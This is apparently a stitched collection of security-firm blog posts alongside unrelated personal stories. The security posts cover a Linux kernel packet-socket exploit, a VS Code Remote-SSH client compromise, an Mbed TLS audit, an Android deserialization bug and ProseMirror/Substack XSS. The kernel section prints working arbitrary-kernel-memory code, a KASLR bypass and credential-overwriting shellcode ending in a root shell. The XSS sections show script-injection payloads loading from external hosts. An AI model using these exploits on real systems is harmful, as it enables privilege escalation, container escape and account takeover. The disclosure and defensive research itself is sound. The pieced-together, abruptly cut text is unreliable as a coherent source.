• packet_socket_with_overwritten_pg_vec (the “puppet”): Its pgv entries can be arbitrarily modified by the master. Mmapping it maps whatever pages the (now-modified) pgv entries point to.

To read or write any page-aligned kernel address:

void *abr_page_read_write_primitive_mmap(
    struct abr_page_read_write_primitive *primitive,
    u64 page_aligned_addr)
{
    // Step 1: mmap the master — its block IS the puppet's pgv array
    void *mem = mmap(NULL, primitive->overwrite_pg_vec_mmap_size,
                     PROT_READ | PROT_WRITE, MAP_SHARED,
                     primitive->packet_socket_to_overwrite_pg_vec, 0);
    struct pgv *pgv = mem;
    pgv[0].buffer = (char *)page_aligned_addr;   // redirect puppet's block 0
    munmap(mem, primitive->overwrite_pg_vec_mmap_size);

    // Step 2: mmap the puppet — block 0 now maps to target_addr
    mem = mmap(NULL, primitive->overwritten_pg_vec_mmap_size,
               PROT_READ | PROT_WRITE, MAP_SHARED,
               primitive->packet_socket_with_overwritten_pg_vec, 0);
    return mem;   // userspace pointer to arbitrary kernel page
}

The caller receives a userspace pointer that directly maps the target kernel page. Reading from it reads kernel memory; writing to it writes kernel memory. No syscalls, no filters, no size limits — just raw memcpy. The only constraint is page alignment.

This primitive is used by Stage 4 (reading pipe buffers to find a kernel code pointer) and Stage 5 (overwriting a syscall handler with shellcode).

Stage 4: KASLR Bypass via Pipe Buffer

With arbitrary page read/write, the exploit can access any kernel page — but it doesn’t yet know where anything is. KASLR (Kernel Address Space Layout Randomization) randomizes the kernel’s base address at each boot, so the addresses of symbols like init_cred, init_fs, and syscall handlers are unknown. To defeat KASLR, the exploit needs to find a single kernel code pointer — a pointer into the kernel’s .text or .data segment — and subtract a known offset to recover the base address.

Background: pipe buffers and anon_pipe_buf_ops

Linux pipes are backed internally by an array of struct pipe_buffer entries, each describing one segment of data in the pipe:

struct pipe_buffer {
    struct page *page;              // pointer to the data page
    unsigned int offset, len;       // offset and length within the page
    const struct pipe_buf_operations *ops;  // → anon_pipe_buf_ops
    unsigned int flags;
    unsigned long private;
};  // 40 bytes

The ops field is a pointer to anon_pipe_buf_ops, a static const struct in the kernel’s .data section. Its address is always at a fixed offset from the kernel base — in the target kernel, 0x1c4a600 bytes from the base. KASLR shifts the entire kernel image, so the absolute address changes each boot, but the lower 24 bits (0xc4a600) remain constant because KASLR only randomizes the upper bits. The exploit uses these lower bits as a signature to recognize a valid pipe_buffer.

The pipe buffer array is allocated via kcalloc(nr_slots, sizeof(struct pipe_buffer)) when the pipe is created or resized. The number of slots is controlled by fcntl(F_SETPIPE_SZ), which sets the pipe’s capacity in bytes — the kernel rounds this up to the nearest power-of-two number of pages, then allocates that many pipe_buffer entries. Crucially, the ops field is only populated when data is actually written to the pipe — an empty pipe has zeroed pipe_buffer entries.

The technique

The exploit runs a retry loop:

Step 1: Leak a page address. Using the same allocate-read-free pattern from Stage 3 — create a temporary xattr via setxattr(), read the manipulated xattr’s rb_node.rb_right or rb_node.rb_left to get the new xattr’s kernel address (pipe_buffer_addr), then removexattr() to free it. The freed page goes back to the order-2 freelist.

Step 2: Reclaim with a pipe buffer array. Create a pipe with pipe2(pipe_fd, O_DIRECT) and resize it:

fcntl(pipe_fd[0], F_SETPIPE_SZ, 256 * PAGE_SIZE);

This tells the kernel to allocate 256 pipe_buffer entries: 256 × 40 = 10,240 bytes, which exceeds kmalloc-8k and falls through to the page allocator, served from order-2 pages (16 KB) — the same page order as the just-freed xattr. If the pipe buffer array lands on the just freed page, the exploit now has a pipe_buffer array at a known kernel address.

Step 3: Populate the ops pointer. Write data to the pipe to fill in the first pipe_buffer entry:

write(pipe_fd[1], “fillin_pipe_buffer”, 18);

Before this write, the pipe_buffer entries are zeroed (from kcalloc). After the write, the first entry’s page points to a data page, ops points to anon_pipe_buf_ops, and len reflects the data length.

Step 4: Read and identify. Use the arbitrary page read primitive from Stage 3 to map the leaked page address:

void *mem = abr_page_read_write_primitive_mmap(primitive, pipe_buffer_addr);

Then check if the data looks like a pipe_buffer. The heuristic checks two things: page must be a valid kernel pointer (upper 16 bits = 0xFFFF), and ops must have the right lower 24 bits matching anon_pipe_buf_ops. If both match, this is almost certainly a real pipe_buffer.

Step 5: Calculate the kernel base.

kernel_base = (u64)pipe_buffer->ops - anon_pipe_buf_ops_offset_from_kernel_base;
// kernel_base = ops - 0x1c4a600

If the reclamation failed (the pipe buffer array didn’t land on the leaked page, or the data doesn’t match), the exploit closes the pipe and retries from Step 1. Once the kernel base is known, the exploit can compute the absolute addresses of init_cred, init_fs, __do_sys_kcmp, and __x86_return_thunk — everything needed for Stage 5.

Stage 5: Privilege Escalation via Syscall Patching

With the kernel base known and arbitrary page write available, the exploit overwrites the __do_sys_kcmp syscall handler with custom shellcode:

mov rax, QWORD PTR gs:0x20c80     ; current task_struct
shl rdi, 32                       ; reconstruct init_cred from
shl rsi, 32                       ;   arg1 (high 32 bits) and
shr rsi, 32                       ;   arg2 (low 32 bits)
or  rdi, rsi
mov QWORD PTR [rax + 0x7d0], rdi  ; task->real_cred = init_cred
mov QWORD PTR [rax + 0x7d8], rdi  ; task->cred = init_cred
mov QWORD PTR [rax + 0x828], rcx  ; task->fs = init_fs
jmp r8                            ; return via __x86_return_thunk

The shellcode passes init_cred and init_fs addresses through syscall arguments (encoded across rdi/rsi/rcx/r8), replacing the calling process’s credentials with init_cred (root) and its filesystem namespace with init_fs (escaping the container). One syscall(SYS_kcmp, ...) call and the process is root with access to the host filesystem:

syscall(SYS_kcmp,
    (u32)(init_cred >> 32), (u32)(init_cred),
    -1, init_fs, __x86_return_thunk);
execve(”/bin/sh”, sh_args, NULL);  // root shell

The Fix

The fix is elegant — just two lines of logic change in packet_set_ring(), mirroring an earlier fix (commit 15fe076edea7):

Before (vulnerable):

```c
spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
if (was_running) {
    WRITE_ONCE(po->num, 0);        // conditional!
    __unregister_prot_hook(sk, false);
}
spin_unlock(&po->bind_lock);
// ... critical section ...
spin_lock(&po->bind_lock);
if (was_running) {
    WRITE_ONCE(po->num, num);      // conditional!
    register_prot_hook(sk);
}
spin_unlock(&po->bind_lock);

After (fixed):

spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
WRITE_ONCE(po->num, 0);            // unconditional!
if (was_running)
    __unregister_prot_hook(sk, false);
spin_unlock(&po->bind_lock);
// ... critical section ...
spin_lock(&po->bind_lock);
WRITE_ONCE(po->num, num);          // unconditional!
if (was_running)
    register_prot_hook(sk);
spin_unlock(&po->bind_lock);

By unconditionally zeroing po->num before releasing bind_lock, the fix ensures that packet_notifier()’s NETDEV_UP handler will see po->num == 0 and skip the register_prot_hook() call. The socket cannot be re-hooked during the critical window, regardless of whether it was running. The po->num value is unconditionally restored afterward.

Takeaways

For Kernel Developers

1. Be defensive about lock gaps. When code releases one lock and acquires another, consider what invariants might be violated in the gap. The fix here is instructive: even though zeroing po->num seemed unnecessary when the socket wasn’t running, it was the only safe choice because external events (netdev notifications) could observe the intermediate state.

2. Conditional state updates are subtle. The original code’s if (was_running) guard on WRITE_ONCE(po->num, 0) made logical sense (”why zero it if it’s not running?”) but created a security hole. When state is used for synchronization across concurrent code paths, always set it to the safe value, not just when you think it matters.

3. TPACKET_V3 metadata survives ring buffer free. The prb_bdqc structure retains stale pointers after packet_set_ring() frees the ring buffer. While fixing the race condition prevents the UAF, this stale metadata is a defense-in-depth concern.

For Security Researchers

1. Look for sleeping mutex holders. The central insight of this exploit is a bug-finding pattern: find code sequences with a lock gap (release lock A, acquire lock B), then look for any code path that holds lock B and can sleep. Mutexes, unlike spinlocks, allow the holder to sleep, and kernel code is full of wait_for_completion(), schedule(), copy_from_user(), and similar calls inside mutex-protected sections. If you can trigger such a path, you’ve turned a nanosecond race into a controllable one.

2. Conditional logic near locks is a smell. Any time you see a conditional that determines whether synchronization state is updated, ask: “What happens if the condition is false but some other code path is observing this state?” The if (was_running) pattern that caused this vulnerability is a recurring motif in kernel race conditions.

3. Page allocator buddy splitting enables cross-order heap grooming. The exploit leverages the buddy allocator’s splitting behavior: when order-2 pages are exhausted, the allocator splits order-3 pages. This is used to place simple_xattr objects (order 2) adjacent to ring buffer blocks (order 3 for victim, order 2 for reclamation). Understanding buddy allocator behavior is essential for modern kernel exploitation.

4. Multiple races can be chained. This exploit wins two separate races, each with different techniques (deterministic mutex holding for the first, BPF filter + timer interrupt for the second). The willingness to chain multiple probabilistic steps, retrying on failure, is what makes the full exploit chain possible.

5. Modern mitigations increase complexity but don’t prevent exploitation. As described in the Background section, CONFIG_RANDOM_KMALLOC_CACHES and CONFIG_SLAB_VIRTUAL forced the exploit to use same-callsite allocations (ring buffers to reclaim ring buffers) rather than arbitrary cross-cache attacks. The entire exploit architecture — from using TX ring buffers to reclaim freed RX ring buffers, to spraying pgv arrays to corrupt other pgv arrays — is shaped by this constraint. It raises the bar significantly but, as demonstrated, does not stop a determined attacker with a sufficiently powerful vulnerability.

1. Share a GitHub repo

2. Give some instructions to access the attacker server with Cursor or VS Code.

Basically, if you click on something like vscode://vscode-remote/ssh-remote+user@hostname/home/user/project to open VS Code, you might get popped!

In a recent red team engagement, the client's attack surface was so well-defended that after months of effort, the only system we managed to compromise was a lone server, which was apparently isolated from the rest of the network. Or so we thought.

One developer had been using that server for remote development with Cursor. This setup is becoming increasingly popular: developers run AI agents remotely to protect their local machines.

But when we dug deeper into how Cursor works, we discovered something unsettling. By pivoting through the remote server, we could actually compromise the developer's local machine.

This wasn't a Cursor-specific flaw. The root cause lies in the Remote-SSH extension that Cursor inherits directly from VS Code. Which means the attack path we uncovered could extend across the entire VS Code remote development ecosystem, putting any developer who connects to an untrusted server at risk.

On the Remote-SSH extension page, Microsoft states:

Only use Remote-SSH to connect to secure remote machines that you trust and that are owned by a party whom you trust. A compromised remote could use the VS Code Remote connection to execute code on your local machine.

Despite clear warnings, a dangerous misconception persists among developers that "remote development" is fully isolated on the server. This belief is increasingly common as developers use remote environments as "sandboxes" to safely run AI agents without risking their local machines.

Given this powerful use case, the assumption of total isolation is understandable. However, Microsoft has suggested that no changes will be made to enhance the extension's safety to meet this expectation. This raises a critical question: how hard is it for your machine to be compromised if you connect to an untrusted server?

The answer: it's easy. Once the server is hacked, you are hacked as well. Thomas Ptacek outlined several attack paths, and our research uncovered a method to compromise the client without delving into low-level details. Our attack works in the default settings of Cursor or VS Code.

When you connect to a remote development server, a malicious extension on the server can execute the workbench.action.terminal.newLocal command to open a terminal on your local machine. This is a terminal on your local machine, not the server. Once the terminal is open, the extension can execute the workbench.action.terminal.sendSequence command to send text to the terminal and get it executed with a new line character (as if pressing Enter). We can also leverage another feature to establish a seamless Command & Control channel between the server and the local machine, but that is beyond the scope of this post.

Our goal in publishing this post is to raise awareness of the risks of remote development and to call for improvements that address the root causes of this issue. Monitoring the ~/.cursor-server directory for changes can serve as a workaround, but it offers limited protection if the server is fully compromised. Securing the Remote-SSH extension is a better approach. For example, requiring user approval when a remote extension attempts to open a new local terminal or send keys to an active local terminal would help block the described attack. As there might be other attack vectors, fixing this issue entirely will take significant effort. A good direction is to move toward secure-by-default designs that don’t rely on users making trust decisions.

Contributors: Tuyen Le, An Nguyen, Khanh Pham

Partnering with Google to Strengthen Open-Source Crypto: An Mbed TLS Security Audit

We're excited to share the results of a deep-dive security audit into Mbed TLS version 3.6.2, conducted in close collaboration with Google.

Mbed TLS is a C library that implements cryptographic primitives, X.509 certificate manipulation and the SSL/TLS and DTLS protocols. Its small code footprint makes it suitable for embedded systems.

As part of their ongoing commitment to securing the Internet's foundational software, Google Security Team commissioned Calif to proactively identify and fix potential vulnerabilities in the widely used open-source crypto library.

The assessment identified five vulnerabilities: one 'High' severity and four 'Medium' severity. All findings were disclosed to the Mbed TLS team in April 2025. We worked with the Mbed TLS developers to ensure all vulnerabilities were understood, prioritized, and patched effectively. We're pleased to report that all identified issues have been addressed.

Vulnerabilities Addressed

Here is a list of the key vulnerabilities found during the assessment, along with links to the official Mbed TLS advisories and their assigned CVE numbers.

• (High) Misleading memory management in X.509 name parsing leading to arbitrary code execution

  • CVE-2025-47917 | Mbed TLS Advisory

• (Medium) Unchecked return value in LMS verification allows signature bypass

  • CVE-2025-49600 | Mbed TLS Advisory

• (Medium) Null pointer dereference in parsing X.509 distinguished names leading to DoS

  • CVE-2025-48965 | Mbed TLS Advisory

• (Medium) Out-of-bounds read in LMS public key import leading to DoS or information disclosure

  • CVE-2025-49601 | Mbed TLS Advisory

• (Medium) Integer underflow in decoding PEM keys leading to DoS

  • CVE-2025-52497 | Mbed TLS Advisory

Take Action and Dig Deeper

Thanks to this proactive initiative, the Mbed TLS library is now more secure. We strongly urge all users to upgrade to version 3.6.4 or later.

This project is a powerful example of how targeted investment from companies like Google can directly improve the security of foundational software we all rely on.

• For a complete technical breakdown of each vulnerability, you can access the full report on our GitHub: Read the Mbed TLS 3.6.2 Security Audit Report (PDF)

• To help the community, the custom Wycheproof test drivers we developed are publicly available for download. We encourage you to integrate them into your own testing pipelines.

In 2023, we used the same vuln to compromise an Oracle BI instance buried deep inside a bank during a beautiful money heist simulation.

Oracle products are notoriously complex, and Oracle is not exactly famous for fast patching. It took them more than six months to fix CVE-2021-35587 and CVE-2022-21445. Some deprecated product lines never got patches at all. As a result, many Oracle systems are left outdated and vulnerable.

At this point, if you're running Oracle, it's probably safer to assume you're already breached, and plan your defense accordingly.

This training followed a series of fun, challenging projects we've delivered across YouTube, Android, and Google. We're proud that our small team gets to support products and teams at this massive scale.

Honestly, every time I'm back at Google, I wonder why I ever left. The free (and healthy!) food, the beautiful office, the fascinating challenges, and the brilliant, kind people... Google really is one of the greatest companies on Earth.

Can we recreate this kind of energy? It's not easy, but we’re trying!

So you can imagine my shock when I first saw snow in Yosemite. June 2011, I'd been in the US for five minutes (okay, five months), and I thought, "This is it?!" It just looked like the ice in the freezer! We weren't rich, but my parents had a fridge for a long time, so I already knew what ice was.

Fast forward to my first real snow experience in Tahoe. Mind. Blown. 🤯 Been skiing for 10+ years now, and I'm basically a pro. Basically. With a bit more practice, I'm pretty sure I could represent Vietnam in the Winter Olympics before I hit 90 years old.

One of my big goals at Calif was to take the whole team skiing. Partly for team bonding, partly because these young folks are all better than me at pretty much everything, so skiing will be my chance to shine!

We were going to do a big company ski trip this Christmas, but life happened, and it ended up being just me, An, and the final boss. Think of it as a scouting mission! 😎

We got this sweet ski-in ski-out cabin in Palisades. Skied all day, hot tub in the afternoon... living the dream!

The best part? An loved it! So, if this whole Calif thing goes belly up, at least I've got another ski buddy. ⛷️🍻

This blog post, shared with Google’s permission, details an arbitrary code execution vulnerability (CVE-2024-10382) discovered in the Jetpack Car App Library during the audit.

Impact

This vulnerability allows for local privilege escalation on Android. An attacker must first install a malicious app with limited privileges on the target device. This malicious app can then exploit the vulnerable Jetpack Car App Library within other high-privileged apps. For instance, an app without message reading permissions could gain this access by exploiting the vulnerability.

The impact is significant due to the widespread use of the Jetpack Car App Library across numerous system apps and the Android Automotive platform. Successful exploitation could grant attackers complete control over affected apps and potentially the underlying system.

Jetpack Car App Library versions 1.4.0 and 1.7.0-beta2 are confirmed to be vulnerable. Any Android app exporting a CarAppService is also potentially vulnerable, including:

• Android Auto

• Android Dialer

• Android Messages

• Google Automotive App Host

• Google Home

• YouTube Music

• VLC for Android

• Waze

Remediation

• App developers: Update to Jetpack Car App Library version 1.7.0-beta03 or later.

• Android users: Update all affected apps to their latest versions.

Proof of concepts

Three PoCs were developed to showcase the exploitability of this vulnerability.

PoC 1: Google Automotive App Host

This PoC demonstrates a malicious app compromising Google Automotive App Host and executing a sleep command.

PoC 2: YouTube Music

This PoC showcases a malicious app compromising YouTube Music, establishing a reverse shell, and exfiltrating sensitive app data.

PoC 3: Android Auto

This PoC illustrates a malicious app compromising Android Auto and creating a reverse shell.

Vulnerability details

The vulnerability lies within the deserialization logic of CarAppService, a component of the Jetpack Car App Library that allows developers to create car applications. This logic enables the construction of arbitrary Java classes, potentially leading to remote code execution (RCE) when coupled with specific deserialization gadgets.

A future blog post will delve deeper into the technical aspects of the vulnerability and its exploitation.

Disclosure timeline

• Sep 24, 2024: Calif reported the vulnerability to Google (https://issuetracker.google.com/issues/369441755).

• Nov 13, 2024: Google released Jetpack Car App Library 1.7.0-beta03 to address the vulnerability.

• Nov 20, 2024: CVE-2024-10382 was assigned and publicly disclosed.

• Dec 10, 2024: Calif requested permission to publish this blog post.

• Dec 18, 2024: Google granted Calif permission to publish the blog post.

• Jan 10, 2024: This blog post was made public.

The man was a total baller. Back in 2003, he was always rolling with a wad of crisp 500K bills – like, seriously, that's all he used. He would go out to eat and just tell them to keep the change!

I joined Mai Linh and dragged two of my buddies along. Truth be told, the three of us were pretty useless, basically a bunch of freeloaders. Mr. Huy hired us for some crazy reason, but he was always super nice to us.

One day, we were chilling in the office when Mr. Huy walked in and said, "Come with me, boys!" He took us straight to a tailor and got each of us two custom suits. They were super nice—fit perfectly, looked great, and lasted forever. I wore mine for years.

Anyway, that memory stuck with me, and ever since I’ve always secretly wished that some day I'd take a team of mine out for some new threads.

And, finally, we did it yesterday! It was super fun, at least for me 😅. Thankfully, most of our hackers and engineers also enjoyed it!

This shopping thing is actually very time consuming. Our ops team and I did a lot of research, hesitating between a tailor and a store, and ended up choosing the latter because they had more options and I'm already a fan.

Now we know how to do this, we want to make it into a Calif’s tradition. Next time I'd love to go back to the tailor that Mr. Huy took us to. If I remember correctly, it was Thắng's Veston on Le Thanh Ton Street. If anyone knows where it moved to, let me know!

If this looks fun to you, we're hiring. Otherwise, don’t worry, you can always wear anything to work, nobody cares!

Two years ago, when a close friend of the family (let's call him D) was sick, I took him to tour the hospitals in Saigon. The whole experience was Kafkaesque.

D needed major surgery. A doctor at a large public hospital said that D's surgery must be the first operation on a Monday. If we missed that slot, we'd have to wait another week.

When I asked why it must be the first slot on a Monday, the doctor asked if I ever went swimming, and without waiting for me to answer, he revealed with a smirk that their only operation room is like a public swimming pool, it's only clean on Monday.

Although D could take the surgery as an outpatient, the doctor recommended that D should be admitted as an inpatient to increase his chance to win the first slot of the week's lottery.

However, when I tried to enroll D, the hospital couldn't find any bed for him. The nurse recommended placing D on a gurney for a few days while waiting for the next available bed.

"It's outside in the hallway, so at least you don't have to share a room with other people," I wasn't sure if the nurse was joking and at that point I was afraid to ask.

We said thank you and went home. I couldn't fathom leaving D in his most vulnerable moments out in a hallway. Luckily, a short while later, we found a solution, which I’ll save the story for another day. D is okay now.

However, what happened during those dark days still bothers me to no end. Whenever I go swimming, I’d remember the doctor’s remark, and start to wonder about death by contamination.

It’s obvious to me that Vietnam can use many more hospitals, but I had no idea how to help. The most ambitious structure I ever built was a Lego house 😅.

Near the end of 2022, through a series of faithful coincidences, I found myself having lunch with an ambitious couple who have founded multiple successful healthcare businesses. Guess what they wanted to build next? Hospitals!

Fast forward to today, I'm so proud to share that Calif Engineering Team has helped build the technical infrastructure for two brand new private hospitals in Saigon.

It wasn't an easy job. We faced countless issues, technical and non-technical. The stakes sometimes couldn't be higher: If the computers go down, people might die.

Luckily, the talented engineers that we sent to this project are excellent at dealing with setbacks. I wish I could stay calm and cool like them during times of distress.

We've gone so far, learned so much, yet are nowhere near done. Vietnam still needs many more hospitals, with more reliable and secure technical infrastructure. Judging from the international healthcare software that we've audited, Vietnam is not alone in this need.

Come join us to help build more hospitals:

• Offensive Security

• Software Engineer

• Operations Lead

Thai.

We developed a proof-of-concept (PoC) that posted a new note to a victim’s Substack account, when they visited a crafted blog post of ours. The note read “but most of all, samy is my hero”, as a tribute to the great hacker Samy Kamkar. The PoC required no user intervention, and could be turned into a worm.

The vulnerability was caused by a type confusion issue in ProseMirror that we disclosed recently. Substack uses TipTap, which is based on ProseMirror. Substack mitigated the issue by upgrading ProseMirror and TipTap.

If you use ProseMirror or TipTap, we recommend upgrading to ProseMirror 1.22.1 and TipTap 2.5.6 or newer.

Technical details

Please read our blog post on ProseMirror’s type confusion attacks to understand the vulnerability concepts.

Substack allows users to attach files to posts. Each file has a name and a title. We discovered that we could inject Javascript into these attributes. More specially, Substack’s file node spec in this JavaScript file was vulnerable to our type confusion attack, via the node.attrs.title or node.attrs.filename property.

The simplified node spec with the vulnerable toDOM code is shown as below:

attrs: {
    filename: {
        default: null
    },
    …
    title: {
        default: null
    }
},
toDOM: e => {
   const n = ["div", {
           class: "file-embed-wrapper",
           "data-component-name": "FileToDOM"
       },
       ["div", {
               class: "file-embed-container-reader"
           },
           ["div", {
                   class: "file-embed-container-top"
               },
               ["image", {
                   class: …
               }],
               ["div", {
                       class: "file-embed-details"
                   },
                   ["div", {
                       class: "file-embed-details-h1"
                   }, e.attrs.title || e.attrs.filename || ""],
                   ["div", {
                       class: "file-embed-details-h2"
                   }]
               ],
               ["a", {
                       class: "file-embed-button wide",
                       href: e.attrs[this.actionButtonAttr]
                   },
                   ["span", {
                       class: "file-embed-button-text"
                   }, this.actionButtonText]
               ]
           ]
       ]
   ];
   return …
}

When attaching files to a post, instead of passing a string value for the title property, we could pass an array, as follows:

{
  "type": "doc",
  "content": [
    {
      "type": "paragraph",
      "content": [
        {
          "type": "text",
          "text": "This is my first post."
        }
      ]
    },
    {
      "type": "file",
      "attrs": {
        "filename": "sample.pdf",
        "filetype": "application/pdf",
        "filesize": 18810,
        "href": "https://khanhcalif.substack.com/f/883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
        "title": [
          "script",
          {
            "src": "https://static.staticsave.com/khanh/alert.js"
          },
          "testxss"
        ],
        "description": null,
        "thumbnail": null,
        "fileKey": "883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
        "dirty": true,
        "raw_href": "https://khanhcalif.substack.com/api/v1/file/883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
        "error": null,
        "empty": false
      }
    },
    {
      "type": "paragraph"
    }
  ]
}

Due to the lack of content security policy, Substack would load and execute our JavaScript payload in the origin of https://substack.com.

Recommendations

If you use ProseMirror or TipTap, we recommend taking the following actions:

• Upgrade to ProseMirror 1.22.1 and TipTap 2.5.6 or higher.

• Review node and mark specs to address the type confusion attack vector.

• Add a strict content security policy to reduce the impact of XSS.

Timeline

• July 14, 2024: ProseMirror maintainers were notified of the type confusion issue.

• July 14, 2024: ProseMirror released version 1.22.1 and published a security guide.

• July 16, 2024: Calif disclosed the type confusion attack vector in ProseMirror.

• July 17, 2024: Calif discovered the XSS issue in Substack.

• July 22, 2024: Calif reported the XSS to security@substackinc.com.

• July 22, 2024: Substack acknowledged and said they were working on a patch.

• July 24, 2024: TipTap released version 2.5.6 referencing the ProseMirror XSS.

• July 31, 2024: Calif asked Substack for an update. We got no response. The vulnerability was still exploitable.

• August 5, 2024: A friend gave us the email of a co-founder of Substack. We emailed this co-founder the vulnerability details, including a proof-of-concept. We got no response. The vulnerability was still exploitable.

• August 9, 2024: Calif found that Substack seemed to upgrade to the latest version of TipTap, which includes the latest version of ProseMirror. The vulnerability is no longer unexploitable.

• August 9, 2024: Calif emailed security@substackinc.com and the co-founder, sharing that the vulnerability was mitigated, and our intention to disclose it.

• August 12, 2024: Substack finally confirmed that they upgraded ProseMirror and TipTap versions to mitigate the issue.

About Calif

Calif is a fast growing security consultancy founded by world-class experts from Google. Our client portfolio includes Google, SnapChat, Anthropic, and Let’s Encrypt. Our team consists of award-winning hackers and engineers, specializing in red teaming and security engineering.

Contact us at help@calif.io if you want us to find bugs like this in your apps.

Calif was recently engaged to audit the open source knowledge base management package Outline. Aside from server side components, we focused on the rather complicated Outline’s editor that is based on the ProseMirror library.

We found a type confusion issue in ProseMirror’s rendering process that leads to a stored Cross-Site Scripting (XSS) vulnerability in Outline (CVE-2024-40626). An authenticated user can create a document containing a malicious JavaScript payload. When other users view this document, the malicious Javascript can execute in the origin of Outline.

While we demonstrated this specific vulnerability in Outline, other ProseMirror editors might be vulnerable to similar type confusion attacks. We recommend Outline users and other ProseMirror editors upgrade to the latest version of Outline and ProseMirror.

We specially thank the Outline and ProseMirror teams for quickly addressing the specific XSS vulnerability and the general type confusion attack vector.

Table of content

Summary

ProseMirror type confusion attacks

• ProseMirror content model

• ProseMirror rendering

• Type confusion attacks

Outline case study

• ProseMirror in Outline

• Stored XSS in the mention node spec

Recommendations

Timeline

ProseMirror type confusion attacks

ProseMirror content model

ProseMirror represents content as a JSON node tree, as follows:

{
 "type": "doc",
 "content": [
   {
     "type": "paragraph",
     "attrs": {
       "id": "testid"
     },
     "marks": [
       {
         "type": "strong"
       }
     ],
     "content": [
       {
         "type": "text",
         "text": "test"
       }
     ]
   }
 ]
}

Each node in the tree consists of a type, various attributes, various marks, and child nodes. The root node is a doc type node. The child nodes of each node are defined in the content array.

Editors must define a schema that contains node specs and mark specs, as shown below:

export const schema = new Schema({node_specs, mark_specs})

A simple built-in schema of ProseMirror can be found here.

Node specs and mark specs are almost identical. To save space, we will cover only node specs hereinafter.

Node specs contain the following information:

• The node type: Describe the string node name.

• The attrs property: Describe the allowlist of node attributes.

• The parseDOM property: Parse an HTML DOM element into a JSON node.

• The toDOM method: Convert from a JSON node to an HTML DOM element.

Here is an example node spec of heading elements:

node_specs = {

 doc: {
     content: "block+"
 } as NodeSpec,

 heading: {
     attrs: {level: {default: 1}},
     content: "inline*",
     group: "block",
     defining: true,
     parseDOM: [
         {tag: "h1", attrs: {level: 1}},
         {tag: "h2", attrs: {level: 2}},
         {tag: "h3", attrs: {level: 3}},
         {tag: "h4", attrs: {level: 4}},
         {tag: "h5", attrs: {level: 5}},
         {tag: "h6", attrs: {level: 6}}
     ],
     toDOM(node) { 
         return ["h" + node.attrs.level, 0]
     }
 } as NodeSpec

}

ProseMirror rendering

To render a content, ProseMirror serializes the content's JSON node tree to an HTML DOM tree. The detailed process is described in the library guide and the API reference. This task is handled by DOMSerializer, which holds the following two arrays:

• nodes: Map node names to the toDOM methods that take a node and return a description of the corresponding HTML DOM element.

• marks: Map mark names to the toDOM methods that take a mark and return a description of the corresponding HTML DOM element.

To create the HTML DOM tree, ProseMirror calls DOMSerializer.serializeFragment, passing on the JSON node tree. This method loops recursively over the JSON node tree. For each node, ProseMirror calls DOMSerializer.serializeNodeInner to do the following steps:

1. Call the toDOM function of the node to get a DOMOutputSpec object. 

2. Call DOMSerializer.renderSpec to convert the DOMOutputSpec object into an HTML DOM element, using the browser’s DOM API, such as createElement, createTextNode, or setAttribute.

The format of the DOMOutputSpec object in step 1 is flexible. It could be one of the following types:

• A DOMNode object: DOMSerializer.renderSpec will render the object as-is.

• A text string: DOMSerializer.renderSpec will render an HTML DOM text node.

• An array specifying a DOM element: DOMSerializer.renderSpec will render an HTML DOM element according to this spec. The array contains the following items:

  • The first item: The string HTML tag name.

  • The second item: The HTML attribute object.

  • The remaining items: Zero or more child DOMOutputSpec objects.

Below are examples of DOMOutputSpec specified as an array:

• No child: This object renders to <div class=”test”></div>.

  [
      "div",
      { class: "test" },
      0
  ]

• A text child: This object renders to <div class=”test”>text</div>.

  [
      "div",
      { class: "test" },
      "text"
  ]

• A node child: This object renders to <div class=”test”><img src=”/image/path”></div>.

  [
      "div",
      { class: "test" },
      [
  	 "img",
  	 { src: "/image/path" },
  	 0
      ]
  ]

Type confusion attacks

The rendering process has two important security considerations:

• toDOM takes as input a potentially untrustworthy JSON object, and returns as output a DOMOutputSpec object.

• The DOMOutputSpec object can be a text string or an array.

Since a JSON object can contain text strings or arrays, toDOM might just copy the input JSON to its output DOMOutputSpec. This coding pattern might lead to type confusion attacks: toDOM might think it copies text strings, but it actually copies arrays. When DOMSerializer.renderSpec processes the output, instead of creating a text node, it will create an HTML DOM element. When the arrays specify, for example, script DOM elements, this leads to XSS.

Here is an example node spec with a vulnerable toDOM function:

{
  attrs: {
    id: {
      default: null,
    },
    src: {
      default: null,
    },
    title: {},
  },
  toDOM: (node) => [
    "div",
    {
      class: "video",
    },
    [
      "video",
      {
        id: node.attrs.id,
        src: sanitizeUrl(node.attrs.src),
      },
      node.attrs.title,
    ],
  ],
}

In this toDOM method, node.attrs.title is copied verbatim from the JSON input. The developer wants to copy a text string because they intend to output the following HTML:

<div class="video">
	<video id="[id]" src="[src]>
		[title]
	</video>
</div>

However, if we control the JSON content, we can pass node.attrs.title as an array specifying an script element, as follows:

{
  type: "<node name>",
  attrs: {
    id: "blah",
    src: "https://example.com",
    title: [
       "script",
        {
            "src": "https://attacker.com/evil.js"
        },
    ],
  },
}

This will force DOMSerializer.renderSpec to render a script element loading a JavaScript file under our control.

Outline case study

ProseMirror in Outline

Outline uses ProseMirror to implement a generic React editor. The editor is customized to support various use cases:

• Document editor and multiplayer document editor

• Collection description editor

• Comment editor

• Hover preview editor 

All node specs and mark specs are defined at the following locations:

• https://github.com/outline/outline/tree/main/shared/editor/nodes

• https://github.com/outline/outline/tree/main/shared/editor/marks

• https://github.com/outline/outline/tree/main/shared/editor/extensions

Stored XSS in the mention node spec

We discovered that the mention node spec was vulnerable to a type confusion attack, via the node.attrs.label property. The simplified node spec with the vulnerable toDOM code is shown as below:

{
  attrs: {
    label: {},
    id: {},
  },
  toDOM: (node) => [
    "span",
    {
      class: `${node.type.name} use-hover-preview`,
      id: node.attrs.id,
    },
    node.attrs.label,
  ],
}

To exploit this vulnerability, we create a new comment for a document, then update it with the following HTTP request:

POST /api/comments.update HTTP/1.1
Host: docs.calif-pentest.com
Cookie: sessions=%7B%7D; lastSignedIn=saml; accessToken=[accessToken]
Content-Length: 463
Cache-Control: no-cache
Pragma: no-cache
X-Api-Version: 3
Sec-Ch-Ua-Mobile: ?0
X-Editor-Version: 13.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json
